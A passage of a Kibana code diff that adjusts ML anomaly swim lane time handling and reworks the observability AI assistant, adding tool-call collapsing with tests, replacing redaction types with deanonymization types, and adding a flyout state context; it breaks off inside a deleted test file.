of(null), ]).pipe( @@ -236,7 +236,7 @@ export const getAnomalySwimLaneEmbeddableFactory = ( return parentTimeRange; } if (parentTimeslice) { - return parentTimeRange; + return parentTimeslice; } return undefined; }) diff --git a/x-pack/platform/plugins/shared/ml/public/embeddables/anomaly_swimlane/initialize_swim_lane_data_fetcher.ts b/x-pack/platform/plugins/shared/ml/public/embeddables/anomaly_swimlane/initialize_swim_lane_data_fetcher.ts index 32b41c5c685f4..252aba766fc18 100644 --- a/x-pack/platform/plugins/shared/ml/public/embeddables/anomaly_swimlane/initialize_swim_lane_data_fetcher.ts +++ b/x-pack/platform/plugins/shared/ml/public/embeddables/anomaly_swimlane/initialize_swim_lane_data_fetcher.ts @@ -13,6 +13,7 @@ import { catchError, combineLatest, debounceTime, + distinctUntilChanged, EMPTY, from, map, @@ -64,7 +65,11 @@ export const initializeSwimLaneDataFetcher = ( fromPage: swimLaneApi.fromPage, }); - const bucketInterval$ = combineLatest([selectedJobs$, chartWidth$, appliedTimeRange$]).pipe( + const bucketInterval$ = combineLatest([ + selectedJobs$, + chartWidth$.pipe(distinctUntilChanged()), + appliedTimeRange$, + ]).pipe( skipWhile(([jobs, width]) => { return !Array.isArray(jobs) || !width; }), diff --git a/x-pack/platform/plugins/shared/ml/public/embeddables/types.ts b/x-pack/platform/plugins/shared/ml/public/embeddables/types.ts index b8e70d03941b6..7451e615d93f2 100644 --- a/x-pack/platform/plugins/shared/ml/public/embeddables/types.ts +++ b/x-pack/platform/plugins/shared/ml/public/embeddables/types.ts @@ -75,7 +75,7 @@ export interface AnomalySwimlaneEmbeddableCustomInput filters?: Filter[]; query?: Query; refreshConfig?: RefreshInterval; - timeRange: TimeRange | undefined; + timeRange?: TimeRange; } export interface AnomalySwimlaneServices { diff --git a/x-pack/platform/plugins/shared/ml/public/shared_components/anomaly_swim_lane.tsx b/x-pack/platform/plugins/shared/ml/public/shared_components/anomaly_swim_lane.tsx index 2714d56fec4b7..19f5d5503796d 100644 --- a/x-pack/platform/plugins/shared/ml/public/shared_components/anomaly_swim_lane.tsx +++ b/x-pack/platform/plugins/shared/ml/public/shared_components/anomaly_swim_lane.tsx @@ -44,9 +44,8 @@ export const AnomalySwimLane: FC = ({ swimlaneType, refreshConfig, viewBy, - timeRange, }; - }, [jobIds, refreshConfig, swimlaneType, viewBy, timeRange]); + }, [jobIds, refreshConfig, swimlaneType, viewBy]); useEffect( function syncState() { diff --git a/x-pack/platform/plugins/shared/ml/server/lib/alerts/alerting_service.ts b/x-pack/platform/plugins/shared/ml/server/lib/alerts/alerting_service.ts index 323120292de50..e3446a230f19c 100644 --- a/x-pack/platform/plugins/shared/ml/server/lib/alerts/alerting_service.ts +++ b/x-pack/platform/plugins/shared/ml/server/lib/alerts/alerting_service.ts @@ -802,7 +802,7 @@ export function alertingServiceProvider( } const lookBackTimeInterval: string = - params.lookbackInterval ?? resolveLookbackInterval(jobsResponse, datafeeds ?? []); + params.lookbackInterval || resolveLookbackInterval(jobsResponse, datafeeds ?? []); const topNBuckets: number = params.topNBuckets ?? getTopNBuckets(jobsResponse[0]); diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/conversation_complete.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/conversation_complete.ts index ba1836dacaea4..36717cab4e85f 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/common/conversation_complete.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/common/conversation_complete.ts @@ -7,7 +7,7 @@ import { i18n } from '@kbn/i18n'; import { ServerSentEventBase } from '@kbn/sse-utils'; -import { type Message } from './types'; +import { DeanonymizationInput, DeanonymizationOutput, type Message } from './types'; export enum StreamingChatResponseEventType { ChatCompletionChunk = 'chatCompletionChunk', @@ -30,6 +30,8 @@ type BaseChatCompletionEvent = Ser arguments?: string; }; }; + deanonymized_input?: DeanonymizationInput; + deanonymized_output?: DeanonymizationOutput; } >; @@ -64,7 +66,10 @@ export type ConversationUpdateEvent = ServerSentEventBase< export type MessageAddEvent = ServerSentEventBase< StreamingChatResponseEventType.MessageAdd, { message: Message; id: string } ->; +> & { + deanonymized_input?: DeanonymizationInput; + deanonymized_output?: DeanonymizationOutput; +}; export type ChatCompletionErrorEvent = ServerSentEventBase< StreamingChatResponseEventType.ChatCompletionError, diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/convert_messages_for_inference.test.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/convert_messages_for_inference.test.ts new file mode 100644 index 0000000000000..5685e5bdf6a9f --- /dev/null +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/common/convert_messages_for_inference.test.ts @@ -0,0 +1,363 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { InferenceMessage } from '@elastic/elasticsearch/lib/api/types'; +import { collapseInternalToolCalls } from './convert_messages_for_inference'; +import { Message, MessageRole } from './types'; + +const mockLogger = { + error: jest.fn(), + debug: jest.fn(), + warn: jest.fn(), + trace: jest.fn(), +}; + +const userMessage: (msg: string) => Message = (msg: string) => ({ + '@timestamp': '2025-07-02T10:00:00Z', + message: { + role: MessageRole.User, + content: msg, + }, +}); + +const assistantMessage: (msg: string) => Message = (msg: string) => ({ + '@timestamp': '2025-07-02T10:01:00Z', + message: { + content: msg, + role: MessageRole.Assistant, + }, +}); + +const getDatasetInfoTool: Message[] = [ + { + '@timestamp': '2025-07-02T10:01:00Z', + message: { + content: + "I'll help you visualize logs from your system. First, let me check what log indices are available:", + function_call: { + name: 'get_dataset_info', + arguments: '{"index": "logs-*"}', + trigger: MessageRole.Assistant, + }, + role: MessageRole.Assistant, + }, + }, + { + '@timestamp': '2025-07-02T10:01:00Z', + message: { + content: JSON.stringify({ + indices: ['remote_cluster:logs-cloud_security_posture.scores-default'], + fields: ['@timestamp:date', 'log.level:keyword'], + stats: { + analyzed: 386, + total: 386, + }, + }), + name: 'get_dataset_info', + role: MessageRole.User, + }, + }, +]; + +const queryTool: Message[] = [ + { + '@timestamp': '2025-07-04T14:32:53.974Z', + message: { + content: 'Now that I can see the available log indices, let me visualize some logs for you:', + function_call: { + name: 'query', + arguments: '', + trigger: MessageRole.Assistant, + }, + role: MessageRole.Assistant, + }, + }, + { + '@timestamp': '2025-07-04T14:32:57.331Z', + message: { + content: '{}', + data: JSON.stringify({ + keywords: ['STATS', 'COUNT_DISTINCT'], + requestedDocumentation: { + STATS: 'Aggregates data using statistical functions.', + COUNT_DISTINCT: 'Counts distinct values in a field.', + }, + }), + name: 'query', + role: MessageRole.User, + }, + }, +]; + +const executeQueryTool: Message[] = [ + { + '@timestamp': '2025-07-02T10:01:00Z', + message: { + content: undefined, + role: MessageRole.Assistant, + function_call: { + name: 'execute_query', + arguments: '{"query":"FROM logs"}', + trigger: MessageRole.Assistant, + }, + }, + }, + { + '@timestamp': '2025-07-02T10:01:01Z', + message: { + role: MessageRole.User, + name: 'execute_query', + content: JSON.stringify({ + columns: [{ id: 'unique_ips', name: 'unique_ips', meta: { type: 'number' } }], + rows: [[324567]], + }), + }, + }, +]; + +const visualizeQueryTool: Message[] = [ + { + '@timestamp': '2025-07-04T14:33:03.937Z', + message: { + content: + "Now I'll create a visualization of your logs. Let me query the available logs and create a meaningful visualization:", + role: MessageRole.Assistant, + function_call: { + name: 'visualize_query', + arguments: '{"query":"FROM remote_cluster:logs-* | LIMIT 10","intention":"visualizeBar"}', + trigger: MessageRole.Assistant, + }, + }, + }, + { + '@timestamp': '2025-07-04T14:33:33.978Z', + message: { + content: JSON.stringify({ + errorMessages: ['Request timed out'], + message: + 'Only following query is visualized: ```esql\nFROM remote_cluster:logs-* | LIMIT 10\n```', + }), + data: JSON.stringify({ + columns: [], + rows: [], + correctedQuery: + 'FROM remote_cluster:logs-*\n| WHERE @timestamp >= NOW() - 24 hours\n| STATS count = COUNT(*) BY data_stream.dataset, log.level\n| SORT count DESC\n| LIMIT 10', + }), + name: 'visualize_query', + role: MessageRole.User, + }, + }, +]; + +describe('collapseInternalToolCalls', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('should not collapse messages if there are no query messages', () => { + const messages: Message[] = [ + { + '@timestamp': '2025-07-02T10:00:00Z', + message: { role: MessageRole.User, content: 'hello' }, + }, + { + '@timestamp': '2025-07-02T10:01:00Z', + message: { role: MessageRole.Assistant, content: 'hi there' }, + }, + ]; + const collapsedMessages = collapseInternalToolCalls(messages, mockLogger); + expect(collapsedMessages).toEqual(messages); + }); + + it('should not collapse a query message if there are no messages after it', () => { + const messages: Message[] = [ + { + '@timestamp': '2025-07-02T10:00:00Z', + message: { role: MessageRole.User, content: 'hello' }, + }, + ...queryTool, + ]; + const collapsedMessages = collapseInternalToolCalls(messages, mockLogger); + expect(collapsedMessages).toEqual(messages); + }); + + describe('when a conversation contains a "query" followed by "execute_query" tool call', () => { + let collapsedMessages: Message[]; + let messages: Message[]; + beforeEach(() => { + messages = [ + userMessage('Please analyze my logs'), + ...getDatasetInfoTool, + ...queryTool, + ...executeQueryTool, + assistantMessage('Here is the result'), + userMessage('What about the unique IPs?'), + ]; + collapsedMessages = collapseInternalToolCalls(messages, mockLogger); + }); + + it('should have the right messages after collapsing', () => { + const formatMessages = (msg: Message) => ({ + role: msg.message.role, + toolName: msg.message.function_call?.name, + }); + + // before collapsing + expect(messages.map(formatMessages)).toEqual([ + { role: 'user' }, + { role: 'assistant', toolName: 'get_dataset_info' }, + { role: 'user' }, + { role: 'assistant', toolName: 'query' }, + { role: 'user' }, + { role: 'assistant', toolName: 'execute_query' }, + { role: 'user' }, + { role: 'assistant' }, + { role: 'user' }, + ]); + + // after collapsing + expect(collapsedMessages.map(formatMessages)).toEqual([ + { role: 'user' }, + { role: 'assistant', toolName: 'get_dataset_info' }, + { role: 'user' }, + { role: 'assistant', toolName: 'query' }, + { role: 'user' }, + { role: 'assistant' }, + { role: 'user' }, + ]); + }); + + it('should retain the messages up until the query response', () => { + expect(messages.slice(0, 4)).toEqual(collapsedMessages.slice(0, 4)); + }); + + it('should retain the messages after the "execute_query" response', () => { + expect(messages.slice(-2)).toEqual(collapsedMessages.slice(-2)); + }); + + it('should remove the "execute_query" messages', () => { + expect(collapsedMessages).not.toContain(executeQueryTool[0]); + expect(collapsedMessages).not.toContain(executeQueryTool[1]); + }); + + it('should retain the "query" tool request', () => { + expect(collapsedMessages).toContain(queryTool[0]); + }); + + it('should collapse the "execute_query" calls into the "query" tool response', () => { + const queryToolResponse = collapsedMessages.find( + (msg) => msg.message.role === MessageRole.User && msg.message.name === 'query' + )!; + + const content = JSON.parse(queryToolResponse.message.content!); + + expect(content.steps).toHaveLength(2); + expect(content.steps[0].role).toBe('assistant'); + expect(content.steps[1].role).toBe('tool'); + expect(content.steps[1].name).toBe('execute_query'); + expect(content.steps).toEqual([ + { + content: null, + role: 'assistant', + toolCalls: [ + { + function: { arguments: { query: 'FROM logs' }, name: 'execute_query' }, + toolCallId: expect.any(String), + }, + ], + }, + { + name: 'execute_query', + response: { + columns: [{ id: 'unique_ips', meta: { type: 'number' }, name: 'unique_ips' }], + rows: [[324567]], + }, + role: 'tool', + toolCallId: expect.any(String), + }, + ]); + }); + }); + + describe('when a query message is followed by "visualize_query" tool pair', () => { + let collapsedMessages: Message[]; + let messages: Message[]; + beforeEach(() => { + messages = [ + userMessage('Please visualize my logs'), + ...getDatasetInfoTool, + ...queryTool, + ...visualizeQueryTool, + assistantMessage('Here is the result'), + userMessage('What about the unique IPs?'), + ]; + + collapsedMessages = collapseInternalToolCalls(messages, mockLogger); + }); + + it('should collapse "visualize_query" into the "query" response', () => { + const queryToolResponse = collapsedMessages.find( + (msg) => msg.message.role === MessageRole.User && msg.message.name === 'query' + )!; + + const steps = JSON.parse(queryToolResponse.message.content!).steps as [ + InferenceMessage, + InferenceMessage + ]; + + const [toolCallRequest, toolCallResponse] = steps; + + expect(steps).toHaveLength(2); + + // @ts-expect-error + expect(toolCallRequest.toolCalls[0].function.name).toContain('visualize_query'); + expect(toolCallRequest.role).toContain('assistant'); + + // @ts-expect-error + expect(toolCallResponse.name).toContain('visualize_query'); + expect(toolCallResponse.role).toContain('tool'); + }); + }); + + describe('when an unrelated tool call is present', () => { + let collapsedMessages: Message[]; + beforeEach(() => { + const messages: Message[] = [ + ...queryTool, + ...executeQueryTool, + { + '@timestamp': '2025-07-02T10:02:00Z', + message: { + role: MessageRole.Assistant, + function_call: { + name: 'some_other_function', + arguments: JSON.stringify({ user: 'george' }), + trigger: MessageRole.Assistant, + }, + content: undefined, + }, + }, + ]; + collapsedMessages = collapseInternalToolCalls(messages, mockLogger); + }); + + it('should stop collapsing and preserve the unrelated tool call', () => { + expect(collapsedMessages).toHaveLength(3); + }); + + it('should add "execute_query" to the "query" response', () => { + const queryToolResponse = collapsedMessages[1]; + expect(queryToolResponse.message.content).toContain('execute_query'); + }); + + it('should retain the unrelated tool call as the last message', () => { + expect(collapsedMessages[2].message.function_call?.name).toEqual('some_other_function'); + }); + }); +}); + +describe('convertMessagesForInference', () => {}); diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/convert_messages_for_inference.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/convert_messages_for_inference.ts index 297a19330b5a4..6ce7343e2a6b8 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/common/convert_messages_for_inference.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/common/convert_messages_for_inference.ts @@ -12,6 +12,7 @@ import { } from '@kbn/inference-common'; import { generateFakeToolCallId } from '@kbn/inference-plugin/common'; import type { Logger } from '@kbn/logging'; +import { takeWhile } from 'lodash'; import { Message, MessageRole } from '.'; function safeJsonParse(jsonString: string | undefined, logger: Pick) { @@ -26,13 +27,51 @@ function safeJsonParse(jsonString: string | undefined, logger: Pick) { + const collapsed: Message[] = []; + + for (let i = 0; i < messages.length; i++) { + const message = messages[i]; + + if (message.message.role === MessageRole.User && message.message.name === 'query') { + const messagesToCollapse = takeWhile(messages.slice(i + 1), (msg) => { + const name = msg.message.name || msg.message.function_call?.name; + return name && ['query', 'visualize_query', 'execute_query'].includes(name); + }); + + if (messagesToCollapse.length) { + const content = JSON.parse(message.message.content!); + collapsed.push({ + ...message, + message: { + ...message.message, + content: JSON.stringify({ + ...content, + steps: convertMessagesForInference(messagesToCollapse, logger), + }), + }, + }); + + i += messagesToCollapse.length; + continue; + } + } + + collapsed.push(message); + } + + return collapsed; +} + export function convertMessagesForInference( messages: Message[], logger: Pick ): InferenceMessage[] { const inferenceMessages: InferenceMessage[] = []; - messages.forEach((message) => { + const collapsedMessages: Message[] = collapseInternalToolCalls(messages, logger); + + collapsedMessages.forEach((message, idx) => { if (message.message.role === MessageRole.Assistant) { inferenceMessages.push({ role: InferenceMessageRole.Assistant, diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/index.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/index.ts index 0161483992b70..59b77b2b12385 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/common/index.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/common/index.ts @@ -5,13 +5,7 @@ * 2.0. */ -export type { - Message, - Conversation, - KnowledgeBaseEntry, - ConversationCreateRequest, - AnonymizationRule, -} from './types'; +export type { Message, Conversation, KnowledgeBaseEntry, ConversationCreateRequest } from './types'; export { KnowledgeBaseEntryRole, MessageRole, @@ -53,7 +47,6 @@ export { aiAssistantLogsIndexPattern, aiAssistantSimulatedFunctionCalling, aiAssistantSearchConnectorIndexPattern, - aiAssistantAnonymizationRules, } from './ui_settings/settings_keys'; export { concatenateChatCompletionChunks } from './utils/concatenate_chat_completion_chunks'; @@ -67,5 +60,3 @@ export { E5_LARGE_IN_EIS_INFERENCE_ID, EIS_PRECONFIGURED_INFERENCE_IDS, } from './preconfigured_inference_ids'; - -export { NER_MODEL_ID } from './utils/anonymization/redaction'; diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/preconfigured_inference_ids.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/preconfigured_inference_ids.ts index fdffc45a13c78..25114658927c5 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/common/preconfigured_inference_ids.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/common/preconfigured_inference_ids.ts @@ -8,7 +8,7 @@ export const LEGACY_CUSTOM_INFERENCE_ID = 'obs_ai_assistant_kb_inference'; export const ELSER_ON_ML_NODE_INFERENCE_ID = '.elser-2-elasticsearch'; -export const ELSER_IN_EIS_INFERENCE_ID = '.elser-v2-elastic'; +export const ELSER_IN_EIS_INFERENCE_ID = '.elser-2-elastic'; export const E5_SMALL_INFERENCE_ID = '.multilingual-e5-small-elasticsearch'; export const E5_LARGE_IN_EIS_INFERENCE_ID = '.multilingual-e5-large-elastic'; // TODO: verify the inference ID once it's created in EIS diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/types.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/types.ts index c2cb2dc5e7d62..66d9f6dc46b9a 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/common/types.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/common/types.ts @@ -29,31 +29,56 @@ export interface PendingMessage { aborted?: boolean; error?: any; } -export interface DetectedEntity { - entity: string; - class_name: string; - start_pos: number; - end_pos: number; - hash: string; - type: 'ner' | 'regex'; + +export interface Deanonymization { + start: number; + end: number; + entity: { + class_name: string; + value: string; + mask: string; + }; } -export type DetectedEntityType = DetectedEntity['type']; -export interface Unredaction { - entity: string; - class_name: string; - start_pos: number; - end_pos: number; - type: 'ner' | 'regex'; +export interface DeanonymizationItem { + message: { + role: MessageRole; + content?: string; + toolCalls?: Array<{ + function: { + name: string; + arguments: Record | {}; + }; + }>; + name?: string; + response?: Record; + toolCallId?: string; + }; + deanonymizations: Deanonymization[]; } -export type UnredactionType = Unredaction['type']; +export type DeanonymizationInput = DeanonymizationItem[]; + +export interface DeanonymizationOutput { + message: { + content?: string; + toolCalls?: Array<{ + toolCallId: string; + function: { + name: string; + arguments: Record; + }; + }>; + role: MessageRole; + }; + deanonymizations: Deanonymization[]; +} export interface Message { '@timestamp': string; message: { content?: string; - unredactions?: Unredaction[]; + deanonymizations?: Deanonymization[]; name?: string; role: MessageRole; function_call?: { @@ -180,23 +205,3 @@ export enum ConversationAccess { SHARED = 'shared', PRIVATE = 'private', } - -export interface InferenceChunk { - chunkText: string; - charStartOffset: number; -} - -export interface NerAnonymizationRule { - type: 'ner'; - enabled: boolean; - modelId?: string; -} - -export interface RegexAnonymizationRule { - type: 'regex'; - entityClass: string; - pattern: string; - enabled: boolean; -} - -export type AnonymizationRule = NerAnonymizationRule | RegexAnonymizationRule; diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/ui_settings/settings_keys.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/ui_settings/settings_keys.ts index ae5947f0e707a..fdcb34f22ecde 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/common/ui_settings/settings_keys.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/common/ui_settings/settings_keys.ts @@ -14,4 +14,3 @@ export const aiAssistantSimulatedFunctionCalling = export const aiAssistantSearchConnectorIndexPattern = 'observability:aiAssistantSearchConnectorIndexPattern'; export const aiAssistantPreferredAIAssistantType = 'aiAssistant:preferredAIAssistantType'; -export const aiAssistantAnonymizationRules = 'observability:aiAssistantAnonymizationRules'; diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/utils/anonymization/redaction.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/utils/anonymization/redaction.ts deleted file mode 100644 index f5697f0d966b2..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/common/utils/anonymization/redaction.ts +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { DetectedEntity } from '../../types'; - -/** Regex matching object‑hash placeholders (40 hex chars) */ -export const HASH_REGEX = /\b[A-Z]+_[0-9a-f]{40}\b/g; - -/** Default model ID for named entity recognition */ -export const NER_MODEL_ID = 'elastic__distilbert-base-uncased-finetuned-conll03-english'; - -/** - * Replace each entity span in the original with its hash. - */ -export function redactEntities(original: string, entities: DetectedEntity[]): string { - let redacted = original; - entities - .slice() - .sort((a, b) => b.start_pos - a.start_pos) - .forEach((e) => { - redacted = - redacted.slice(0, e.start_pos) + e.class_name + '_' + e.hash + redacted.slice(e.end_pos); - }); - - return redacted; -} - -/** - * Replace every placeholder in a string with its real value - * (taken from `hashMap`). - */ -export function unhashString( - contentWithHashes: string, - hashMap: Map -): string { - return contentWithHashes.replace(HASH_REGEX, (h) => hashMap.get(h)?.value ?? h); -} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/common/utils/emit_with_concatenated_message.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/common/utils/emit_with_concatenated_message.ts index 6263ae0f9b63d..2e55e87e3228e 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/common/utils/emit_with_concatenated_message.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/common/utils/emit_with_concatenated_message.ts @@ -46,6 +46,11 @@ function mergeWithEditedMessage( '@timestamp': new Date().toISOString(), ...message, }, + // Preserve deanonymization data if present in the chunk event + ...(chunkEvent.deanonymized_input && { deanonymized_input: chunkEvent.deanonymized_input }), + ...(chunkEvent.deanonymized_output && { + deanonymized_output: chunkEvent.deanonymized_output, + }), }; return next; }) diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/public/context/observability_ai_assistant_flyout_state_context.tsx b/x-pack/platform/plugins/shared/observability_ai_assistant/public/context/observability_ai_assistant_flyout_state_context.tsx new file mode 100644 index 0000000000000..e0b67d0d3bb24 --- /dev/null +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/public/context/observability_ai_assistant_flyout_state_context.tsx @@ -0,0 +1,37 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React, { createContext, useContext } from 'react'; + +interface FlyoutStateContextValue { + isFlyoutOpen: boolean; +} + +const FlyoutStateContext = createContext(undefined); + +interface FlyoutStateProviderProps { + children: React.ReactNode; + isFlyoutOpen: boolean; +} + +export function ObservabilityAIAssistantFlyoutStateProvider({ + children, + isFlyoutOpen, +}: FlyoutStateProviderProps) { + return ( + {children} + ); +} + +export function useObservabilityAIAssistantFlyoutStateContext(): FlyoutStateContextValue { + const context = useContext(FlyoutStateContext); + if (context === undefined) { + // Return default value when not within provider + return { isFlyoutOpen: false }; + } + return context; +} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/public/index.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/public/index.ts index 73b81af8a194e..b3e363e776993 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/public/index.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/public/index.ts @@ -93,11 +93,6 @@ export { ObservabilityAIAssistantTelemetryEventType } from './analytics/telemetr export { createFunctionRequestMessage } from '../common/utils/create_function_request_message'; export { createFunctionResponseMessage } from '../common/utils/create_function_response_message'; -export { - redactEntities, - unhashString, - NER_MODEL_ID, -} from '../common/utils/anonymization/redaction'; export type { ObservabilityAIAssistantAPIClientRequestParamsOf, @@ -111,7 +106,6 @@ export { useKibana } from './hooks/use_kibana'; export { aiAssistantLogsIndexPattern, aiAssistantSimulatedFunctionCalling, - aiAssistantAnonymizationRules, aiAssistantSearchConnectorIndexPattern, aiAssistantPreferredAIAssistantType, } from '../common/ui_settings/settings_keys'; @@ -142,3 +136,8 @@ export { useElasticLlmCalloutDismissed, ElasticLlmCalloutKey, } from './hooks/use_elastic_llm_callout_dismissed'; + +export { + ObservabilityAIAssistantFlyoutStateProvider, + useObservabilityAIAssistantFlyoutStateContext, +} from './context/observability_ai_assistant_flyout_state_context'; diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/index.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/index.ts index b84234164f8c8..97779ec51aabd 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/index.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/index.ts @@ -60,3 +60,5 @@ export const plugin = async (ctx: PluginInitializerContext def.name); - const anonymizationService = client.getAnonymizationService(); - return { functionDefinitions, systemMessage: getSystemMessageFromInstructions({ @@ -76,7 +74,6 @@ const getFunctionsRoute = createObservabilityAIAssistantServerRoute({ kbUserInstructions, apiUserInstructions: [], availableFunctionNames, - anonymizationInstruction: anonymizationService.getAnonymizationInstruction(), }), }; }, diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/routes/runtime_types.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/routes/runtime_types.ts index 1970efc8b205d..e9683d57ee815 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/routes/runtime_types.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/routes/runtime_types.ts @@ -15,12 +15,14 @@ import { type StarterPrompt, } from '../../common/types'; -export const unredactionRt = t.type({ - entity: t.string, - class_name: t.string, - start_pos: t.number, - end_pos: t.number, - type: t.union([t.literal('ner'), t.literal('regex')]), +export const deanonymizationRt = t.type({ + start: t.number, + end: t.number, + entity: t.type({ + class_name: t.string, + value: t.string, + mask: t.string, + }), }); export const messageRt: t.Type = t.type({ @@ -53,7 +55,7 @@ export const messageRt: t.Type = t.type({ arguments: t.string, }), ]), - unredactions: t.array(unredactionRt), + deanonymizations: t.array(deanonymizationRt), }), ]), }); diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/chunk_text.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/chunk_text.ts deleted file mode 100644 index 0484edc71a9c5..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/chunk_text.ts +++ /dev/null @@ -1,29 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { InferenceChunk } from '../../../common/types'; - -/** - * Splits text into chunks of specified maximum size - * - * Used to prepare text for ML model inference by breaking it into - * smaller pieces that the model can handle efficiently. - * - * @param text - Text to be chunked - * @param maxChars - Maximum characters per chunk (default: 1000) - * @returns Array of chunks with their original character offsets - */ -export function chunkText(text: string, maxChars = 1_000): InferenceChunk[] { - const chunks: InferenceChunk[] = []; - for (let i = 0; i < text.length; i += maxChars) { - chunks.push({ - chunkText: text.slice(i, i + maxChars), - charStartOffset: i, - }); - } - return chunks; -} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/deanonymize_text.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/deanonymize_text.ts deleted file mode 100644 index f45337611a11d..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/deanonymize_text.ts +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { HASH_REGEX } from '../../../common/utils/anonymization/redaction'; -import { DetectedEntity, DetectedEntityType } from '../../../common/types'; - -/** - * Replaces hash placeholders in text with their original values - * - * Takes text containing hash placeholders like "{hash123}" and replaces - * them with their original values from the provided hash map. Also generates - * entity metadata for each replaced value. - * - * @param contentWithHashes - Text containing hash placeholders - * @param hashMap - Map of hash values to their original entity information - * @returns Object containing deanonymized text and detected entities - */ -export function deanonymizeText( - contentWithHashes: string, - hashMap: Map -) { - const detectedEntities: DetectedEntity[] = []; - let unhashedText = ''; - let cursor = 0; - - for (const match of contentWithHashes.matchAll(HASH_REGEX)) { - const hash = match[0]; - const rep = hashMap.get(hash); - if (!rep) { - continue; // keep unknown hash as‑is - } - - // copy segment before the hash - unhashedText += contentWithHashes.slice(cursor, match.index!); - - // insert real value & capture span - const start = unhashedText.length; - unhashedText += rep.value; - const end = unhashedText.length; - - detectedEntities.push({ - entity: rep.value, - class_name: rep.class_name, - start_pos: start, - end_pos: end, - type: rep.type, - hash, - }); - - cursor = match.index! + hash.length; - } - - unhashedText += contentWithHashes.slice(cursor); - return { unhashedText, detectedEntities }; -} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_named_entities.test.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_named_entities.test.ts deleted file mode 100644 index 9f70af16bd5a7..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_named_entities.test.ts +++ /dev/null @@ -1,117 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { detectNamedEntities } from './detect_named_entities'; -import type { DetectedEntity, NerAnonymizationRule } from '../../../common/types'; - -jest.mock('@kbn/inference-tracing', () => ({ - withInferenceSpan: (_name: string, fn: any) => fn(), -})); - -const mockLogger = { - debug: jest.fn(), - warn: jest.fn(), -} as any; - -// Helper to build DetectedEntity quickly -const makeEntity = (entity: string, 